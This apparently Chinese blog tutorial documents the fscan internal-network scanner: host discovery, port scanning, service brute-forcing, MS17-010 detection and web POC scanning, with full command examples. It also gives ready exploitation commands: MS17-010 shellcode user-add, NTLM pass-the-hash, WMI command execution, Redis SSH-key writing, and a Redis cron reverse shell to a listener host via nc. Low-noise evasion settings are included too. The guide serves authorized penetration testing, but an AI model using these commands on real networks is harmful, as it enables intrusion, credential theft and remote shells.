侧边栏壁纸
  • 累计撰写 67 篇文章
  • 累计创建 77 个标签
  • 累计收到 5 条评论

目 录CONTENT

文章目录

fscan 内网综合扫描工具使用教程

一樹
2026-08-19 / 0 评论 / 0 点赞 / 18 阅读 / 0 字
温馨提示:
部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

从安装配置到高级实战,系统掌握这款一键化、全方位的内网漏扫扫描神器——覆盖主机探测、端口扫描、密码爆破、漏洞检测与 Web 扫描全流程。

属性 说明
开发语言 Go
所属计划 404 星链计划 2.0
平台支持 Windows / Linux / macOS
授权方式 开源免费

目录

  1. 工具简介与核心功能
  2. 安装与配置
  3. 快速上手
  4. 主机存活探测
  5. 端口扫描
  6. 密码爆破
  7. 漏洞检测与利用
  8. Web 扫描
  9. 完整参数参考
  10. 高级应用技巧
  11. 实战应用案例
  12. 性能优化建议
  13. 常见问题
  14. 合规与免责声明

1. 工具简介与核心功能

fscan 是一款用 Go 语言开发的内网综合扫描工具,主打"一键自动化、全方位漏扫扫描"。它将主机存活探测、端口扫描、常见服务爆破、高危漏洞检测、Web 指纹识别与漏洞扫描等功能整合到一个二进制文件中,无需复杂参数配置即可完成内网安全评估全流程,是 404Team 星链计划 2.0 的重要组成部分 [1]。

六大核心功能模块

模块 功能说明
信息搜集 ICMP 存活探测、端口扫描,快速绘制内网资产画像
密码爆破 SSH、SMB、RDP 服务爆破,以及 MySQL、MSSQL、Redis、PostgreSQL、Oracle 等数据库密码爆破
漏洞检测 MS17-010(永恒之蓝)、NetBIOS 探测、域控识别、获取目标网卡信息等高危漏洞扫描
Web 探测 Web 标题探测、指纹识别(常见 CMS、OA 框架)、Web 漏洞扫描(支持 xray POC)
漏洞利用 Redis 写公钥 / 写计划任务反弹 Shell、SSH 命令执行、MS17-010 植入 Shellcode
结果保存 扫描结果自动保存到文件(默认 result.txt),支持 JSON 格式输出与静默扫描模式

典型扫描流程

存活探测 (ICMP) → 端口扫描 → 服务识别 → 密码爆破 → 漏洞检测 → Web 扫描 → 结果保存

2. 安装与配置

方式一:下载预编译版本(推荐)

访问 GitHub Release 页面,下载对应平台的二进制文件即可直接使用,无需安装依赖 [1]。

# Windows 系统
# 下载 fscan_windows_amd64.exe,重命名为 fscan.exe

# Linux 系统
chmod +x fscan_linux_amd64
mv fscan_linux_amd64 fscan

# macOS 系统
chmod +x fscan_darwin_amd64
mv fscan_darwin_amd64 fscan

方式二:源码编译

确保已安装 Go 1.16+ 环境,然后克隆项目并编译:

# 克隆项目源码
git clone https://github.com/shadow1ng/fscan.git
cd fscan

# 编译项目(-s -w 去除调试信息,-trimpath 去除路径信息)
go build -ldflags="-s -w" -trimpath main.go

# 可选:使用 UPX 压缩减小文件体积
upx -9 fscan

方式三:Arch Linux 安装

yay -S fscan-git   # 或 paru -S fscan-git

⚠️ 权限提示:ICMP 主机探测等部分功能需要 root / 管理员权限。Linux/macOS 使用 sudo ./fscan,Windows 以管理员身份运行命令提示符。


3. 快速上手

最简单的用法——对目标 IP 进行全功能扫描(默认使用所有模块):

fscan.exe -h 192.168.1.1/24

这条命令会自动执行存活探测、端口扫描、服务爆破、MS17-010 检测、Web 指纹识别与 POC 扫描等全部流程,结果保存到当前目录的 result.txt

常用扫描场景速查

场景 命令 说明
全功能扫描 C 段 fscan -h 192.168.1.1/24 默认使用全部模块
B 段扫描 fscan -h 192.168.1.1/16 扫描整个 B 段
A 段快速侦察 fscan -h 192.168.1.1/8 扫描每个 C 段的网关和数个随机 IP
多 IP 扫描 fscan -h 192.168.1.1,192.168.1.2 逗号分隔多个 IP
IP 范围扫描 fscan -h 192.168.1.1-255 支持 IP 范围格式
从文件导入目标 fscan -hf ip.txt 每行一个目标
扫描单个 URL fscan -u http://example.com 仅 Web 扫描
轻量扫描 fscan -h 192.168.1.1/24 -nobr -nopoc 跳过爆破和 Web POC,减少流量

4. 主机存活探测

存活探测是扫描的第一步,fscan 默认使用 ICMP 协议探测目标主机是否在线。可通过参数灵活控制探测方式。

ICMP 探测

# 对整个 C 段进行 ICMP 存活探测
fscan.exe -h 192.168.1.0/24 -m icmp

# 探测 B 段并显示 Top 10 活跃网段
fscan.exe -h 192.168.0.0/16 -m icmp -top 10

# A 段探测:自动扫描每个 C 段的网关和随机 IP
fscan.exe -h 192.0.0.0/8 -m icmp

💡 提示:扫 /8 网段时,fscan 会自动探测每个 C 段的网关和数个随机 IP,并统计 Top 10 的 B、C 段存活数量,适合快速了解大型网络环境。

Ping 探测

当 ICMP 原始套接字不可用或权限受限时,可使用系统 ping 命令替代:

fscan.exe -h 192.168.1.0/24 -ping

跳过存活探测

如果已知目标在线,或从外部已获取存活主机列表,可以跳过存活探测直接进入端口扫描:

fscan.exe -h 192.168.1.0/24 -np

5. 端口扫描

fscan 默认扫描以下常用端口:

21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017

端口指定方式

# 扫描指定端口
fscan.exe -h 192.168.1.0/24 -p 22

# 扫描端口范围
fscan.exe -h 192.168.1.0/24 -p 1-65535

# 扫描多个端口
fscan.exe -h 192.168.1.0/24 -p 22,80,3306,6379

# 新增端口(在默认端口基础上追加)
fscan.exe -h 192.168.1.0/24 -pa 3389

# 跳过指定端口
fscan.exe -h 192.168.1.0/24 -pn 445

超时与线程控制

# 设置端口扫描超时时间(默认 3 秒)
fscan.exe -h 192.168.1.0/24 -time 5

# 设置扫描线程数(默认 600)
fscan.exe -h 192.168.1.0/24 -t 200

# 设置 Web 访问超时时间(默认 5 秒)
fscan.exe -h 192.168.1.0/24 -wt 8

⚠️ 流量注意:线程数默认 600,内网环境可适当提高。但如果设置过高(如 -t 1000)可能触发流量监控导致 IP 被封,需根据实际网络环境权衡 [2]。


6. 密码爆破

fscan 支持对多种服务和数据库进行弱口令爆破,包括 SSH、SMB、RDP、MySQL、MSSQL、Redis、PostgreSQL、Oracle 等。

指定爆破模块

# 仅对 SSH 进行爆破
fscan.exe -h 192.168.1.0/24 -m ssh

# 指定 SSH 模块和端口
fscan.exe -h 192.168.1.0/24 -m ssh -p 2222

# SMB 密码碰撞
fscan.exe -h 192.168.1.0/24 -m smb -pwd password

# SMB 域用户爆破(指定域名)
fscan.exe -h 192.168.1.0/24 -m smb -domain WORKGROUP

自定义用户名与密码字典

# 指定单个用户名和密码
fscan.exe -h 192.168.1.0/24 -m ssh -user admin -pwd 123456

# 加载用户名和密码文件
fscan.exe -h 192.168.1.0/24 -pwdf pwd.txt -userf users.txt

# 在原有字典基础上追加用户名和密码
fscan.exe -h 192.168.1.0/24 -usera test,guest -pwda admin123,test123

# 使用 SSH 私钥连接
fscan.exe -h 192.168.1.0/24 -m ssh -sshkey id_rsa

💡 密码字典技巧:密码文件支持 {user} 占位符。如果密码文件中包含 {user}123,会自动替换为实际用户名加 123,实现基于用户名的密码组合猜测。

跳过爆破

在不需要爆破的场景下,使用 -nobr 跳过所有密码爆破以减少流量和扫描时间:

fscan.exe -h 192.168.1.0/24 -nobr

7. 漏洞检测与利用

MS17-010(永恒之蓝)检测

MS17-010 是影响广泛的 Windows SMB 远程代码执行漏洞,fscan 可快速批量检测内网中存在该漏洞的主机:

# 仅检测 MS17-010
fscan.exe -h 192.168.1.0/24 -m ms17010

MS17-010 漏洞利用

fscan 内置了 MS17-010 的利用模块(植入 Shellcode),可执行添加用户等操作。但官方建议仅将其作为备选工具,更推荐使用专项利用工具:

# 使用内置添加用户功能
fscan.exe -h 192.168.1.0/24 -m ms17010 -sc add

⚠️ 使用建议-sc add 等利用功能仅适用于备选场景。MS17-010 的深度利用推荐使用其他专项工具(如 MSF 等),fscan 主要定位为检测发现而非深度利用 [1]。

Hash 传递碰撞(PTH)

# 使用 NTLM Hash 进行 SMB 碰撞
fscan.exe -h 192.168.1.0/24 -m smb2 -user admin -hash xxxxx
# xxxxx 为 NTLM Hash,如 32ed87bdb5fdc5e9cba88547376818d4

WMI 无回显命令执行

fscan.exe -h 192.168.1.0/24 -m wmiexec -user admin -pwd password -c "whoami"

NetBIOS 探测与域控识别

# NetBIOS 探测、域控识别(输出中的 [+]DC 代表域控)
fscan.exe -h 192.168.1.0/24 -p 139

# 显示完整 NetBIOS 信息
fscan.exe -h 192.168.1.0/24 -m netbios

跳过 Web POC

如果不需要 Web 漏洞扫描,使用 -nopoc 跳过以减少流量:

fscan.exe -h 192.168.1.0/24 -nopoc

8. Web 扫描

fscan 的 Web 模块支持 Web 标题探测、指纹识别和漏洞扫描,并兼容 xray 的 POC。

Web 指纹识别

fscan 可识别常见 CMS、OA 框架等 Web 应用指纹。如果识别出指纹,会根据指纹信息发送对应的 POC;如果没有识别到指纹,才会把所有 POC 都尝试一遍 [1]。

Web 漏洞扫描(POC)

# 对目标进行 Web POC 扫描
fscan.exe -h 192.168.1.0/24

# 扫描单个 URL
fscan.exe -u http://example.com

# 批量扫描 URL(从文件导入)
fscan.exe -uf url.txt

# 指定 POC(模糊匹配名称)
fscan.exe -h 192.168.1.0/24 -pocname weblogic

# 指定自定义 POC 路径
fscan.exe -h 192.168.1.0/24 -pocpath /path/to/poc

# 设置 Web POC 发包速率(默认 20)
fscan.exe -h 192.168.1.0/24 -num 50

HTTP 代理设置

# 设置 HTTP 代理
fscan.exe -h 192.168.1.0/24 -proxy http://127.0.0.1:8080

# 设置 SOCKS5 代理(仅支持简单 TCP 功能)
fscan.exe -h 192.168.1.0/24 -socks5 127.0.0.1:1080
# 设置 Cookie
fscan.exe -u http://example.com -cookie "session=abc123"

# 仅扫描 Web(跳过端口扫描,直接访问 HTTP)
fscan.exe -h 192.168.1.0/24 -m webonly

💡 POC 兼容性:fscan 内置了 xray POC 引擎,默认使用所有已筛选的 POC。支持 Weblogic、Struts2 等常见漏洞检测,也支持 shiro-key 识别(默认跑 10 个 key,可用 -full 跑 100 个 key)。


9. 完整参数参考

以下是 fscan 的全部命令行参数说明,按功能分类整理 [1]。

目标与输入

参数 类型 说明
-h string 目标 IP:192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hf string 从文件读取目标(支持 host:port 和 host/xx:port 格式)
-hn string 扫描时跳过的 IP,如 -hn 192.168.1.1/24
-u string 指定 URL 扫描
-uf string 指定 URL 文件扫描

扫描控制

参数 类型 默认值 说明
-m string all 设置扫描模式,如 -m ssh-m ms17010-m webonly
-p string 常用端口 设置扫描端口:22 | 1-65535 | 22,80,3306
-pa string - 新增扫描端口(在原端口基础上追加)
-pn string - 跳过的端口,如 -pn 445
-t int 600 扫描线程数
-time int 3 端口扫描超时时间(秒)
-wt int 5 Web 访问超时时间(秒)
-num int 20 Web POC 发包速率
-debug int 60 多久没响应就打印当前进度
-top int 10 存活检测结果展示数量

扫描跳过控制

参数 说明
-np 跳过存活探测
-ping 使用 ping 代替 ICMP 进行存活探测
-nobr 跳过 SQL、FTP、SSH 等的密码爆破
-nopoc 跳过 Web POC 扫描
-skip 跳过指纹识别

认证配置

参数 类型 说明
-user string 指定爆破用户名
-pwd string 指定爆破密码
-userf string 用户名字典文件
-pwdf string 密码字典文件
-usera string 在原字典基础上新增用户名
-pwda string 在原字典基础上新增密码
-domain string SMB 爆破时设置域名
-sshkey string SSH 连接时指定私钥
-hash string NTLM Hash 碰撞,格式:xxxx:ntlmhash

漏洞利用

参数 类型 说明
-c string SSH 爆破成功后执行命令
-rf string Redis 写公钥文件,如 -rf id_rsa.pub
-rs string Redis 计划任务反弹 Shell,如 -rs 192.168.1.1:6666
-sc string MS17-10 利用模块 Shellcode,如 -sc add

代理与输出

参数 类型 说明
-proxy string 设置 HTTP 代理,如 -proxy http://127.0.0.1:8080
-socks5 string 设置 SOCKS5 代理,如 -socks5 127.0.0.1:1080
-o string 结果保存路径(默认 result.txt)
-no - 不保存结果到文件
-silent - 静默扫描,适合 CS 扫描时不回显
-cookie string 设置 Cookie
-pocname string 指定 Web POC 模糊名称
-pocpath string 指定 POC 路径

10. 高级应用技巧

Redis 漏洞利用

写公钥获取权限

当发现 Redis 未授权访问时,可利用 Redis 写入 SSH 公钥,实现免密登录:

# 生成 SSH 密钥对
ssh-keygen -t rsa -f id_rsa

# 使用 fscan 批量写入公钥
fscan.exe -h 192.168.1.0/24 -rf id_rsa.pub

写计划任务反弹 Shell

# 需要先在攻击机监听端口
nc -lvnp 6666

# fscan 写入计划任务反弹 Shell
fscan.exe -h 192.168.1.0/24 -rs 192.168.1.101:6666

SSH 爆破后命令执行

爆破成功后可自动执行指定命令:

# 爆破成功后执行 whoami 和 id
fscan.exe -h 192.168.1.0/24 -c "whoami;id"

代理扫描隐藏流量

通过 SOCKS5 代理转发流量,可用于配合 CobaltStrike 等工具进行内网穿透:

fscan.exe -h 192.168.1.0/24 -socks5 127.0.0.1:1080

⚠️ 代理限制:SOCKS5 代理只支持简单 TCP 功能,部分功能库不支持设置代理,可能导致部分扫描项失效。

结果输出控制

# 指定结果保存路径
fscan.exe -h 192.168.1.0/24 -o /tmp/scan_result.txt

# JSON 格式输出
fscan.exe -h 192.168.1.0/24 -json

# 不保存文件(仅终端输出)
fscan.exe -h 192.168.1.0/24 -no

# 静默扫描模式
fscan.exe -h 192.168.1.0/24 -silent

# 禁用颜色输出
fscan.exe -h 192.168.1.0/24 -nocolor

端口分组扫描

较新版本支持端口分组功能,可按类别快速指定端口:

# 按分组指定端口
fscan.exe -h 192.168.1.0/24 -p db       # 数据库端口
fscan.exe -h 192.168.1.0/24 -p web      # Web 端口
fscan.exe -h 192.168.1.0/24 -p service  # 服务端口

11. 实战应用案例

案例一:企业内网安全评估

一个完整的企业内网安全评估通常分为多个阶段,逐步深入 [2]:

第一阶段:资产发现 — 快速探测内网存活主机和活跃网段

fscan.exe -h 192.168.0.0/16 -m icmp -top 20 -o assets.txt

第二阶段:端口与服务扫描 — 对存活主机进行端口扫描和服务识别

fscan.exe -hf assets.txt -p 1-10000 -o ports.txt

第三阶段:漏洞检测 — 检测高危漏洞,但不进行 Web POC 扫描以减少流量

fscan.exe -hf ports.txt -m all -nopoc -o vulnerabilities.txt

第四阶段:弱口令检测 — 对常见服务和数据库进行密码爆破

fscan.exe -hf ports.txt -m ssh,smb,mysql,redis -o weak_passwords.txt

第五阶段:Web 应用扫描 — 对发现的 Web 服务进行指纹识别和漏洞扫描

fscan.exe -hf web_servers.txt -m webtitle,webpoc -o web_results.txt

案例二:渗透测试信息收集

在授权渗透测试中,使用 fscan 进行系统化信息收集:

# 第一阶段:快速侦察 C 段
fscan.exe -h 192.168.1.0/24 -m icmp -o phase1.txt

# 第二阶段:详细端口扫描
fscan.exe -hf phase1.txt -p 1-10000 -o phase2.txt

# 第三阶段:漏洞和弱口令并行检测
fscan.exe -hf phase2.txt -m ms17010,redis -o phase3_vulns.txt
fscan.exe -hf phase2.txt -m ssh,smb,mysql -o phase3_passwords.txt

# 第四阶段:Web 应用扫描
fscan.exe -uf web_targets.txt -m webtitle,webpoc -o phase4_web.txt

12. 性能优化建议

根据网络环境调整参数

环境 线程数 超时 建议
内网(低延迟) -t 1000 -time 1 可使用较高并发,快速完成扫描
外网(高延迟) -t 50~100 -time 10~15 降低并发,增加超时避免漏报
大规模网段 -t 200 -time 3 分阶段扫描,避免对网络造成过大压力
隐蔽扫描 -t 50 -time 5 低并发 + 静默模式 -silent

减少流量的扫描策略

当需要控制流量时,可组合使用跳过参数:

# 跳过爆破和 Web POC,仅做基础探测
fscan.exe -h 192.168.1.0/24 -nobr -nopoc

# 跳过存活探测、不保存文件、跳过 Web POC
fscan.exe -h 192.168.1.0/24 -np -no -nopoc

根据系统资源调整

# 查看系统 CPU 核心数
nproc

# 参考并发数 = CPU 核心数 × 20
fscan.exe -h 192.168.1.0/24 -t 400

✅ 最佳实践:大规模扫描建议分阶段执行:先快速主机发现 → 再端口扫描 → 最后详细分析与漏洞检测。这样既能提高效率,又能避免一次性大流量扫描对网络造成冲击。


13. 常见问题

Q1:权限不足导致 ICMP 探测失败?

ICMP 原始套接字需要 root/管理员权限。Linux/macOS 使用 sudo ./fscan,Windows 以管理员身份运行命令提示符。或使用 -ping 参数改用系统 ping 命令。

Q2:扫描结果不准确或漏报?

可能原因及解决方案:

  • 超时过短:增加超时时间 -time 10
  • 并发过高:降低线程数 -t 100
  • 网络不稳定:多次扫描交叉验证
  • 防火墙拦截:尝试通过代理 -socks5 转发

Q3:扫描速度太慢?

检查以下几点:

  • 确认线程数是否合理(默认 600)
  • 缩小端口范围,只扫必要端口
  • 使用 -nobr -nopoc 跳过耗时的爆破和 POC 扫描
  • 分阶段扫描,避免全功能一次性扫描大网段

Q4:如何查看扫描进度?

使用 -debug 参数设置进度打印间隔(默认 60 秒),如果指定秒数内没有新进展会打印当前进度:

fscan.exe -h 192.168.1.0/24 -debug 10

Q5:默认端口列表是什么?

默认端口为:

21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017

覆盖了 FTP、SSH、HTTP、SMB、MSSQL、MySQL、PostgreSQL、Redis、WebLogic、Elasticsearch、Memcached、MongoDB 等常见服务。


14. 合规与免责声明

🔴 重要声明

fscan 仅面向合法授权的企业安全建设行为。如您需要测试本工具的可用性,请自行搭建靶机环境。

在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。请勿对非授权目标进行扫描。

如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,工具作者不承担任何法律及连带责任 [1]。

安全使用规范

  • 授权测试:仅在获得明确书面授权的情况下使用
  • 范围控制:严格按照授权范围设定扫描目标
  • 时间窗口:在业务低峰期进行扫描,避免影响正常业务
  • 数据保护:妥善保管扫描结果,敏感数据及时销毁
  • 结果验证:对重要扫描结果进行人工验证,避免误报

参考来源

  1. shadow1ng/fscan, GitHub 官方仓库 README。fscan 项目作者维护的原始文档,包含功能说明、使用方法、完整参数列表及免责声明。 https://github.com/shadow1ng/fscan

  2. CarlowZJ, fscan 使用全攻略:从入门到精通。CSDN 博客,系统介绍 fscan 安装配置、核心功能、高级技巧与实战案例。 https://blog.csdn.net/csdn122345/article/details/155040140

0

评论区